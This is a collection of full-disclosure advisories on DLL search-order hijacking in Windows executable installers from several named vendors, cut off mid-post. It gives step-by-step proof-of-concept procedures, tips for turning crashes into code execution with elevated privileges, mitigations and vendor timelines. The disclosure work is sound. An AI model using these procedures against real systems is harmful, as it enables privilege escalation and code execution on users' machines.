installer which specifies "requireAdministrator" it is run
with administrative privileges ("protected" administrators
are prompted for consent, unprivileged standard users are
prompted for an administrator password); execution of the
DLLs therefore results in an escalation of privilege!
See <http://seclists.org/fulldisclosure/2015/Nov/101>
and <http://seclists.org/fulldisclosure/2015/Dec/86>
plus <http://seclists.org/fulldisclosure/2015/Dec/121>
Proof of concept (verified on Windows XP, Windows Vista, Windows 7,
Windows Server 2008 [R2]; should work on newer versions too):
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
it as UXTheme.dll in your "Downloads" directory, then copy it
as RichEd32.dll, WindowsCodecs.dll and MPR.dll;
2. download winima90.exe and save it in your "Downloads"
directory;
3. run winima90.exe (or a self-extractor created with WinImage)
from the "Downloads" directory;
4. notice the message boxes displayed from the DLLs placed in
step 1.
PWNED!
5. copy the downloaded UXTheme.dll as CRTdll.dll;
6. rerun winima90.exe or a self-extractor from the "Downloads"
directory.
DOSSED!
This denial of service can easily be turned into an arbitrary code
execution: just create a CRTdll.dll which exports all the symbols
referenced by winima90.exe or the self-extractors and place it in
the "Downloads" directory.
For this well-known (trivial, easy to avoid, easy to detect and
easy to fix) beginner's error see
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>:
| To ensure secure loading of libraries
| * Use proper DLL search order.
| * Always specify the fully qualified path when the library location is
~~
| constant.
regards
Stefan Kanthak
Timeline:
~
2016-01-12report sent to vendor
NO ANSWER, not even an acknowledgement of receipt
2016-01-21report resent to vendor
NO ANSWER, not even an acknowledgement of receipt
2016-01-30report published
Executable installers are vulnerable^WEVIL (case 3): WiX Toolset's bootstrapper "burn.exe"
"%ALLUSERSPROFILE%" alias %ProgramData%" and "%PUBLIC%": Windows doesn't place executables in these directories and beyond. See <http://home.arcor.de/skanthak/safer.html> as well as <http://mechbgon.com/srp/> plus <http://csrc.nist.gov/itsec/SP800-68r1.pdf>, <https://www.nsa.gov/ia/_files/os/win2k/application_whitelisting_using_srp.pdf> or <https://books.google.de/books?isbn=1437914926> and finally <http://www.asd.gov.au/infosec/top35mitigationstrategies.htm>! stay tuned Stefan Kanthak PS: This vulnerability results from the use of the Win32 API for the NTFS encrypting file system [³] (EFS) in "burn.exe". Due to a beginner's error made about 16 years ago during the development of EFS and still present in current versions of Windows this loads FEClient.dll with a simple (unqualified) filename ['] (see MS16-007 and CVE-2016-0014). PPS: see <http://seclists.org/fulldisclosure/2015/Nov/101> and <http://seclists.org/fulldisclosure/2015/Dec/86> plus <http://home.arcor.de/skanthak/sentinel.html> and the not yet finished <http://home.arcor.de/skanthak/!execute.html> for more details! PPPS: the case numbers are not in chronological order. [°] Self-extracting archives and executable installers are flawed^W b(rainde)ad in concept and dangerous in practice. DON'T USE SUCH CRUFT! ALWAYS use the resp. target platforms native package and archive format. For Windows these are .INF (plus .CAB) and .MSI (plus .CAB), introduced 20 years ago (with Windows 95 and Windows NT4) resp. 16 years ago (with Office 2000). Both .INF and .MSI are "opened" by programs residing in %SystemRoot%\System32\ which are therefore immune to this kind of "DLL and EXE Search Order Hijacking" attack. Since both .INF and .MSI access the contents of .CAB directly they eliminate the attack vector "unsafe temporary directory" too. ['] A well-known (trivial, easy to avoid, easy to detect, easy to exploit and easy to fix) and well-documented vulnerability: see <https://cwe.mitre.org/data/definitions/426.html>, <https://cwe.mitre.org/data/definitions/427.html>, <https://capec.mitre.org/data/definitions/471.html>, <https://technet.microsoft.com/en-us/library/2269637.aspx>, <https://msdn.microsoft.com/en-us/library/ff919712.aspx> and <https://msdn.microsoft.com/en-us/library/ms682586.aspx> [²] Another well-known (trivial, easy to avoid, easy to detect, easy to exploit and easy to fix) and well-documented vulnerability: see <https://cwe.mitre.org/data/definitions/377.html>, <https://cwe.mitre.org/data/definitions/379.html>, <https://capec.mitre.org/data/definitions/27.html>, <https://capec.mitre.org/data/definitions/29.html> ... [³] see <https://technet.microsoft.com/en-us/library/cc700811.aspx>
Executable installers are vulnerable^WEVIL (case 21): Panda Security's installers allow arbitrary (remote) code execution AND escalation of privilege with PANDAIS16.exe
Hi @ll,
the executable installers PANDAIS16.exe, PANDAAP16.exe,
PANDAGL16.exe and PANDAGP16.exe available from
load and execute (at least) UXTheme.dll,
RichEd20.dll and RichEd32.dll from their "application directory".
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>
If an attacker places the above named DLLs in the users "Downloads"
directory (for example per drive-by download or social engineering)
this vulnerability becomes a remote code execution.
Due to the application manifest embedded in the executables which
specifies "requireAdministrator" the executable installer is run
with administrative privileges ("protected" administrators are
prompted for consent, unprivileged standard users are prompted for
an administrator password); execution of the DLLs therefore results
in an escalation of privilege!
Proof of concept/demonstration:
~~~
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL>, save it
as UXTheme.dll in your "Downloads" directory, then copy it as
RichEd20.dll and RichEd32.dll;
2. download PANDA{IS,AP,GL,GP}16.exe and save it in your "Downloads"
directory;
3. run PANDA{IS,AP,GL,GP}16.exe per double-click from your "Downloads"
directory;
4. notice the message boxes displayed from the DLLs placed in step 1.
PWNED!
See <http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> as well as
<http://home.arcor.de/skanthak/!execute.html> and
<http://home.arcor.de/skanthak/sentinel.html> for details about
this well-known and well-documented BEGINNER'S error!
regards
Stefan Kanthak
PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to stay away from this crapware!
Timeline:
~
2015-12-29sent report to vendor
NP ANSWER, not even an acknowledgement of receipt
2016-01-10resent report to vendor
NO ANSWER, not even an acknowledgement of receipt
2016-01-19report published
Executable installers are vulnerable^WEVIL (case 22): python.org's executable installers allow arbitrary (remote) code execution
Hi @ll,
the executable installers python-3.5.1-webinstall.exe and
python-3.5.1.exe available on
<https://www.python.org/downloads/windows/> load and execute
multiple DLLs from their "application directory".
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art"
about this well-known and well-documented vulnerability.
If an attacker places one of these DLLs in the users "Downloads"
directory (for example per drive-by download or social engineering)
this vulnerability becomes a remote code execution.
Proof of concept/demonstration:
~~~
(verified on Windows XP, Windows Vista, Windows 7, Windows Server
2008 [R2]; should work on newer versions too)
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and store
it as FEClient.dll in your "Downloads" directory, then copy it
as ClbCatQ.dll (Windows NT 5.x) or ProfAPI.dll (Windows NT 6.x);
2. download python-3.5.1-webinstall.exe and python-3.5.1.exe and
store them in your "Downloads" directory;
3. run python-3.5.1-webinstall.exe and python-3.5.1.exe from your
"Downloads" directory;
4. notice the message boxes displayed from the DLLs placed in step 1.
PWNED!
5. copy FEClient.dll as MSI.dll and Version.dll;
6. rerun python-3.5.1-webinstall.exe and python-3.5.1.exe from your
"Downloads" directory.
DOSSED!
The denial of service from step 6. can easily be turned into an
arbitrary code execution: just create an MSI.dll or Version.dll
with the exports referenced from the executable installers.
For this well-known (trivial, easy to avoid, easy to detect and
easy to fix) beginner's error see
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
Additionally python-3.5.1-webinstall.exe and python-3.5.1.exe
create the UNSAFE temporary directories
%TEMP%\{a75b6a1c-5ef0-42f0-ae73-516b23a1d753}\.b\
and
%TEMP%\{c39d559b-aa83-4476-ba20-988a35a1199a}\.b\
respectively where they unpack some files and a DLL for execution.
An unprivileged user can overwrite/modify these files and the DLL
between their extraction and use/execution.
PWNED once more!
For this well-known (trivial, easy to avoid, easy to detect and
easy to fix) beginner's error see
<https://cwe.mitre.org/data/definitions/377.html>,
<https://cwe.mitre.org/data/definitions/379.html>,
<https://capec.mitre.org/data/definitions/27.html>,
<https://capec.mitre.org/data/definitions/29.html> ...
See <http://seclists.org/fulldisclosure/2015/Nov/101>,
<http://seclists.org/fulldisclosure/2015/Dec/86> and
<http://seclists.org/fulldisclosure/2015/Dec/121> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad and should be
dumped.
stay tuned
Stefan Kanthak
Timeline:
~
2015-11-13report sent to python.org
2015-11-13auto-response from python.org
"will investigate and reply ASAP"
2015-12-23requested status from vendor
"How do you define ASAP?"
NO ANSWER, not even an acknowledgement of receipt
2016-01-15report published
Defense in depth -- the Microsoft way (part 38): does Microsoft follow their own security guidance/advisories?
Hi @ll,
in 2009/2010, after beeing hit by "carpet bombing" and "binary
planting" alias "DLL hijacking/spoofing/preloading" (see
<https://blogs.technet.com/b/srd/archive/2009/04/14/ms09-014-addressing-the-safari-carpet-bomb-vulnerability.aspx>
and <https://technet.microsoft.com/en-us/library/2269637.aspx>)
Microsoft finally started to provide security guidance/advisories
for "safe library loading" to Windows developers:
<https://msdn.microsoft.com/en-us/library/ms682586.aspx>
| Applications can control the location from which a DLL is loaded by
| specifying a full path or using another mechanism such as a manifest.
<https://msdn.microsoft.com/en-us/library/ff919712.aspx>
| Wherever possible, specify a fully qualified path when using the
| LoadLibrary, LoadLibraryEx [...] functions.
<http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx>
| When an application loads a DLL without specifying a fully
| qualified path name, Windows will attempt to locate the DLL by
| searching a defined set of directories.
...
| Development best practices state that applications should call
| SetDllDirectory with a blank path before calling
| LoadLibrary("foo.dll") to ensure that foo.dll is not loaded from
| the current directory. We are investigating whether any of our
| own applications are affected by this class of vulnerability so
| that we can take appropriate action to protect customers.
<https://support.microsoft.com/en-us/kb/2389418>
| Use fully qualified paths for all calls to LoadLibrary, [...]
| where you can.
<https://technet.microsoft.com/en-us/library/2269637.aspx>
| This exploit may occur when applications do not directly specify
| the fully qualified path to a library it intends to load.
<https://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
| Always specify the fully qualified path when the library location
| is constant.
Now the (obviously rhetorical) question: does Microsoft follow their
own guidance?
The (also obvious) answer: THEY DON'T, at least for existing code,
despite "trustworty computing" or the "secure development lifecycle"
Microsoft brags about since years.
Some examples for unsafe library loading recently published:
FEClient.dll (see CVE-2016-0014 and MS16-007):
introduced in Windows 2000, loaded without fully qualified path
by AdvAPI32.dll since then.
FEClient.dll is loaded from the "application directory" of every
program which uses EFS functions (see
<https://technet.microsoft.com/en-us/library/cc781588.aspx>
and <https://msdn.microsoft.com/en-us/library/ms995356.aspx>):
all executable installers and self-extractors used by Microsoft
allow^Wsupport "DLL hijacking" via FEClient.dll!
OCIW32.dll, OCI.dll (see MS15-132):
loaded without fully qualified path by MSDAORA.DLL since Windows NT4.
ELSEXT.dll (see MS15-132):
loaded without fully qualified path by ELS.DLL since Windows Vista.
MQRT.dll (see MS15-132):
loaded without fully qualified path by COMSVCS.DLL since Windows NT4.
EDBBCli.dll, ESEBCli2.dll (see MSKB275876):
loaded without fully qualified path by NTBackup.exe since Windows NT4.
Mitigation:
~~~
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\NTBackup.exe]
"CWDIllegalInDLLSearch"=dword:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore\DLLPaths]
"EDBBCli"="C:\\Windows\\System32\\Kernel32.Dll"
"ESEBCli2"="C:\\Windows\\System32\\Kernel32.Dll"
UXTheme.dll (see CVE-2012-4206, ...):
introduced in Windows XP, loaded without fully qualified path by
AppWiz.cpl, BrowseUI.dll, ComDlg32.dll, Dot3UI.dll, DUser.dll,
Explorer.exe, HelpCtr.exe, Kernel32.dll, LogonUI.exe, MMC.exe,
MSHTML.dll, Shell32.dll, ShlWAPI.dll, ThemeUI.dll, WSCUI.dll,
WZCDlg.dll and MANY more since then.
Almost all executables using the Windows GUI allow^Wsupport
"DLL hijacking" via UXTheme.dll.
Mitigation:
~~~
use SAFER alias Software Restriction Policies and deny execution
everywhere except %SystemRoot% and below and %ProgramFiles% and
below.
See <http://home.arcor.de/skanthak/SAFER.html> and/or
<http://mechbgon.com/srp/index.html> for instructions.
stay tuned
Stefan Kanthak
[CVE-2016-0014] Executable installers are vulnerable^WEVIL (case 1): Microsoft's IExpress resp. WExtract, SFXCab, BoxStub, ...
oval tool, <http://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx?id=16> or <http://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx?id=9905> * ROOTSUPD-KB931125-*.exe, the root certificate updater, see <https://support.microsoft.com/kb/931125> * RVKROOTS.EXE, the root certificate revocation list updater, available from the SECURITY (sic!) advisories <https://support.microsoft.com/en-us/kb/2728973> <https://support.microsoft.com/en-us/kb/2798897> <https://support.microsoft.com/en-us/kb/2917500> <https://support.microsoft.com/en-us/kb/2982792> <https://support.microsoft.com/en-us/kb/3050995> or the Microsoft Update Catalog <https://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=416de864-839a-4a61-907f-d18cabcc6dda> * ALL installers of the .NET Framework: NDP46-KB3045557-x86-x64-AllOS-ENU.exe, NDP46-KB3045557-x86-x64-AllOS-DEU.exe, NDP46-KB3045557-x86-x64-AllOS-*.exe, dotNetFx40_Full_x86_x64.exe, dotNetFx40_Client_x86_x64.exe, NDP40-KB2656405-x86.exe, NDP40-KB2656405-x64.exe, ..., NDP*.exe, DotNETFX.Exe, LangPack.Exe * Windows Defender Offline, see <http://windows.microsoft.com/en-US/windows/what-is-windows-defender-offline> * ALL Visual C++ Runtime 20xy Redistributable Packages * ALL hotfixes and updates for Windows 2000, Windows XP, Windows Embedded POSReady 2009, Windows Server 2003 (Windows*-KB*-*.exe) and THOUSANDS more! Cause: ~~ About 16 years ago Microsoft introduced the NTFS "encrypting file system". <https://technet.microsoft.com/en-us/library/cc781588.aspx>: | When a user modifies EFS options for a file or folder, or when an | application attempts to access an encrypted file on an NTFS volume, | the Win32 application programming interface (API) passes the | resulting EFS-related calls to the Feclient DLL. Feclient then | calls the EFS remote procedure call (RPC) interfaces in the LSA. FEClient.dll is loaded on demand by AdvAPI32.dll (one of the Win32 core components) without its well-known fully qualified pathname, resulting in the vulnerability now fixed with MS16-007 alias KB3121918. Mitigation(s): ~~ 0. DON'T USE EXECUTABLE INSTALLERS [°]! If your favourite applications are not distributed in the native installer package format of the resp. target platform: ask^WURGE their vendors/developers to provide native installation packages. If they don't: dump these applications, stay away from such cruft! 1. Turn off UAC's privilege elevation for standard users and installer detection for all users: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] "ConsentPromptBehaviorUser"=dword: ; Automatically deny elevation requests "EnableInstallerDetection"=dword: See <https://technet.microsoft.com/en-us/library/dd835564.aspx#BKMK_RegistryKeys> 2. NEVER execute files in UNSAFE directories (like "Downloads" and and "%TEMP%")! 3. Deny execution (at least) in the "Downloads" directories and all "%TEMP%" directories and their subdirectories: * Add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of files in this directory for everyone, inheritable to all files in all subdirectories" (use CACLS.EXE /S: for example); * Use "software restriction policies" resp. AppLocker. Consider to apply either/both to every "%USERPROFILE%" as well as "%ALLUSERSPROFILE%" alias %ProgramData%" and "%PUBLIC%": Windows doesn't place executables in these directories and beyond. See <http://home.arcor.de/skanthak/safer.html> as well as <http://mechbgon.com/srp/> plus <http://csrc.nist.gov/itsec/SP800-68r1.pdf>, <https://www.nsa.gov/ia/_files/os/win2k/application_whitelisting_using_srp.pdf> or <https://books.google.de/books?isbn=1437914926> and finally <http://www.asd.gov.au/infosec/top35mitigationstrategies.htm>! stay tuned Stefan Kanthak PS: for "case 0" see <http://seclists.org/fulldisclosure/2015/Sep/21>, for "case 0.5" see <http://seclists.org/fulldisclosure/2013/Oct/5>; the case numbers are not in chronological order. PPS: see <http://seclists.org/fulldisclosure/2015/Nov/101> (resp. the not yet finished <http://home.arcor.de/skanthak/!execute.html>) for more details! [°] Self-extracting archives and executable installers are flawed^W b(rainde)ad in concept and dangerous in practice. DON'T USE SUCH CRUFT! ALWAYS use the resp. target platforms native package and archive format. For Windows these are .INF (plus .CAB) and .MSI (plus .CAB), introduced 20 years ago (with Windows 95 and Windows NT4) resp
Executable installers are vulnerable^WEVIL (case 20): TrueCrypt's installers allow arbitrary (remote) code execution and escalation of privilege
Hi @ll,
the executable installers "TrueCrypt Setup 7.1a.exe" and
TrueCrypt-7.2.exe load and execute USP10.dll, RichEd20.dll,
NTMarta.dll and SRClient.dll from their "application directory".
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art"
about this well-known and well-documented vulnerability.
If an attacker places the above named DLLs in the users "Downloads"
directory (for example per drive-by download or social engineering)
this vulnerability becomes a remote code execution.
Due to the application manifest embedded in the executables which
specifies "requireAdministrator" the executable installers are run
with administrative privileges ("protected" administrators are
prompted for consent, unprivileged standard users are prompted for
an administrator password); execution of the DLLs therefore results
in an escalation of privilege!
Proof of concept/demonstration:
~~~
(verified on Windows XP, Windows Vista, Windows 7, Windows Server
2008 [R2]; should work on newer versions too)
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and store
it as USP10.dll in your "Downloads" directory, then copy it as
NTMarta.dll, RichEd20.dll and SRClient.dll;
2. download TrueCrypt-7.2.exe and "TrueCrypt Setup 7.1a.exe" and
store them in your "Downloads" directory;
3. run TrueCrypt-7.2.exe and "TrueCrypt Setup 7.1a.exe" from your
"Downloads" directory;
4. notice the message boxes displayed from the DLLs placed in step 1.
PWNED!
5. on Windows XP copy the downloaded USP10.dll as SetupAPI.dll (or
create an empty file SetupAPI.dll), then rerun TrueCrypt*.exe
from your "Downloads" directory.
DOSSED!
The denial of service from step 5. can easily be turned into an
arbitrary code execution with elevation of privilege too: add the
exports SetupDiOpenClassRegKey, SetupInstallFromInfSectionA,
SetupOpenInfFileA and SetupCloseInfFile to the SetupAPI.dll copied
to the "Downloads" directory.
For this well-known (trivial, easy to avoid, easy to detect and
easy to fix) beginner's error see
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
See <http://seclists.org/fulldisclosure/2015/Nov/101>,
<http://seclists.org/fulldisclosure/2015/Dec/86> and
<http://seclists.org/fulldisclosure/2015/Dec/121> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad and should be
dumped.
stay tuned
Stefan Kanthak
PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to stay away from this crapware!
Timeline:
~
2015-12-23report sent to vendor
NO ANSWER, not even an acknowledgement of receipt
2016-01-01reports resent to vendor
NO ANSWER, not even an acknowledgement of receipt
2016-01-08report published
Executable installers are vulnerable^WEVIL (case 19): ZoneAlarm's installers allow arbitrary (remote) code execution and escalation of privilege
Hi @ll,
the executable installers ZASPSetupWeb_141_011_000.exe and
zafwSetupWeb_141_011_000.exe load and execute (at least)
UXTheme.dll, WindowsCodecs.dll and ProfAPI.dll from their
"application directory".
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art"
about this well-known and well-documented vulnerability.
If an attacker places the above named DLLs in the users "Downloads"
directory (for example per drive-by download or social engineering)
this vulnerability becomes a remote code execution.
Due to the application manifest embedded in the executables which
specifies "requireAdministrator" the executable installers are run
with administrative privileges ("protected" administrators are
prompted for consent, unprivileged standard users are prompted for
an administrator password); execution of the DLLs therefore results
in an escalation of privilege!
Proof of concept (verified on Windows XP, Windows Vista, Windows 7,
Windows Server 2008 [R2]; should work on newer versions too):
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
it as UXTheme.dll in your "Downloads" directory, then copy it
as ProfAPI.dll and WindowsCodecs.dll;
2. download ZASPSetupWeb_141_011_000.exe and/or
zafwSetupWeb_141_011_000.exe and save them in your "Downloads"
directory;
3. run ZASPSetupWeb_141_011_000.exe and/or
zafwSetupWeb_141_011_000.exe from the "Downloads" directory.
PWNED!
>From the vendor's web site
<http://www.zonealarm.com/security/en-us/fza-install-steps.htm>
| To start installation:
| * Click Save File on the browser pop up.
...
| * By default your downloaded file will be in the Downloads
| folder under Documents. Double-click the zafwSetupWeb.exe
| file to begin installation.
OUCH!
For this well-known (trivial, easy to avoid, easy to detect and
easy to fix) beginner's error see
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
Additionally: ZASPSetupWeb_141_011_000.exe and
zafwSetupWeb_141_011_000.exe create the UNSAFE temporary directory
%TEMP%\{907A1104-E812-4b5c-959B-E4DAB37A96AB} to unpack their
payload and download other executables, including your real
executable installer install.exe, which has but the same bugs!
Proof of concept (verified on Windows XP, Windows Vista, Windows 7,
Windows Server 2008 [R2]; should work on newer versions too):
4. create the directory %TEMP%\{907A1104-E812-4b5c-959B-E4DAB37A96AB};
5. copy UXTheme.dll and WindowsCodecs.dll downloaded in step 1
above into this empty directory;
for a denial of service copy it as PowrProf.dll, WebIO.dll,
WinHttp.dll, Version.dll and MSWSock.dll (or create your own
DLL which exports the referenced entries to have them loaded
and executed too);
6. run ZASPSetupWeb_141_011_000.exe and/or
zafwSetupWeb_141_011_000.exe from step 3 above.
PWNED! resp. DOSSED!
For this well-known (trivial, easy to avoid, easy to detect and
easy to fix) beginner's error see
<https://cwe.mitre.org/data/definitions/377.html>,
<https://cwe.mitre.org/data/definitions/379.html>,
<https://capec.mitre.org/data/definitions/27.html>,
<https://capec.mitre.org/data/definitions/29.html> ...
See <http://seclists.org/fulldisclosure/2015/Nov/101>,
<http://seclists.org/fulldisclosure/2015/Dec/86> and
<http://seclists.org/fulldisclosure/2015/Dec/121> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad and should be
dumped.
stay tuned
Stefan Kanthak
PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to stay away from this crapware!
Timeline:
~
2015-12-13report sent to vendor
NO ANSWER, not even an acknowledgement of receipt
2015-12-23reports resent to vendor
NO ANSWER, not even an acknowledgement of receipt
2016-01-01reports resent to vendor
NO ANSWER, not even an acknowledgement of receipt
2016-01-07report published
Executable installers are vulnerable^WEVIL (case 18): EMSISoft's installers allow arbitrary (remote) code execution and escalation of privilege
Hi @ll,
EmsisoftAntiMalwareSetup.exe as well as
EmsisoftAntiMalwareXPSetup.exe, EmsisoftEmergencyKit.exe and
EmsisoftHiJackFreeSetup.exe load and execute UXTheme.dll (plus
other DLLs like RichEd20.dll and RichEd32.dll) eventually found
in the directory they are started from (the "application directory").
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art"
about this well-known and well-documented vulnerability.
If one of the DLLs named above gets planted in the user's "Downloads"
directory per "drive-by download" or "social engineering" this
vulnerability becomes a remote code execution.
Due to the application manifest embedded in the executables which
specifies "requireAdministrator" or the installer detection of
Windows' user account control (under Windows XP the installers
request to be started with administrative privileges by themselves)
the installers are run with administrative privileges ("protected"
administrators are prompted for consent, unprivileged standard users
are prompted for an administrator password); execution of any
hijacked DLL results in an escalation of privilege!
See <http://seclists.org/fulldisclosure/2015/Nov/101>,
<http://seclists.org/fulldisclosure/2015/Dec/86> and
<http://seclists.org/fulldisclosure/2015/Dec/121> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad and should be
dumped.
Proof of concept/demonstration:
~~~
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL>, save it
as UXTheme.dll in your "Downloads" directory, then copy it as
RichEd20.dll and RichEd32.dll;
2. download EmsisoftAntiMalwareSetup.exe respectively
EmsisoftAntiMalwareXPSetup.exe, EmsisoftEmergencyKit.exe and
EmsisoftHiJackFreeSetup.exe and save them in your "Downloads"
directory;
3. execute EmsisoftAntiMalwareSetup.exe respectively
EmsisoftAntiMalwareXPSetup.exe, EmsisoftEmergencyKit.exe and
EmsisoftHiJackFreeSetup.exe from your "Downloads" directory;
4. notice the message boxes displayed from the DLLs placed in
step 1.
PWNED!
Additionally the installers create unsafe temporary directories
%TEMP%\is-*.tmp to unpack their payload and execute it from there.
An unprivileged user can overwrite/modify these files between their
extraction and execution, or copy UXTheme.dll plus MSImg32.dll, on
Windows Vista and newer versions of Windows additionally Version.dll
into %TEMP%\is-*.tmp. These DLLs are loaded from the unpacked
%TEMP%\is-*.tmp\Emsisoft*.tmp too.
PWNED again.
stay tuned
Stefan Kanthak
PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to stay away from such crapware!
Timeline:
~
2015-12-19three reports sent to vendor
2015-12-21vendor replies to one report:
"we ignore your report since we don't offer
EmsisoftHiJackFreeSetup.exe any more."
2015-12-21OUCH!
<http://download2.emsisoft.com/EmsisoftHiJackFreeSetup.exe>
NO ANSWER, not even an acknowledgement of receipt
for the other two reports
2015-12-29reports resent to vendor
NO ANSWER, not even an acknowledgement of receipt
2016-01-07report published
Executable installers/self-extractors are vulnerable^WEVIL (case 17): Kaspersky Labs utilities
Hi @ll,
quite some utilities offered for free by Kaspersky Lab load and execute
rogue/bogus DLLs (UXTheme.dll, HNetCfg.dll, RichEd20.dll, RASAdHlp.dll,
SetupAPI.dll, ClbCatQ.dll, XPSP2Res.dll, CryptNet.dll, OLEAcc.dll etc.)
eventually found in the directory they are started from (the "application
directory").
For software downloaded with a web browser the application directory is
typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art"
about this well-known and well-documented vulnerability.
If one of the DLLs named above gets planted in the user's "Downloads"
directory per "drive-by download" or "social engineering" this
vulnerability becomes a remote code execution.
Due to the application manifest embedded in some of the executables
which specifies "requireAdministrator" or the installer detection of
Windows' user account control theses installers/self-extractors are
started with administrative privileges ("protected" administrators are
prompted for consent, unprivileged standard users are prompted for an
administrator password); execution of any hijacked DLL results in
an escalation of privilege!
See <http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad and should be
dumped.
Kaspersky Lab published a security advisory 2015-12-23
<https://support.kaspersky.com/vulnerability.aspx?el=12430#231215>
after they made updated versions of their utilities available on
<https://support.kaspersky.com/viruses/utility>
stay tuned
Stefan Kanthak
Executable installers are vulnerable^WEVIL (case 15): F-SecureOnlineScanner.exe allows arbitrary (remote) code execution and escalation of privilege
Hi @ll,
F-Secure's online virus scanner F-SecureOnlineScanner.exe, available
via <https://www.f-secure.com/en/web/home_global/online-scanner>,
loads and executes several rogue/bogus DLLs (UXTheme.dll, HNetCfg.dll,
RASAdHlp.dll, SetupAPI.dll, ClbCatQ.dll, XPSP2Res.dll, CryptNet.dll,
OLEAcc.dll etc.) eventually found in the directory it is started from
(the "application directory").
For software downloaded with a web browser the application directory
is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>
Due to the application manifest embedded in the executable which
specifies "requireAdministrator" the installer is started with
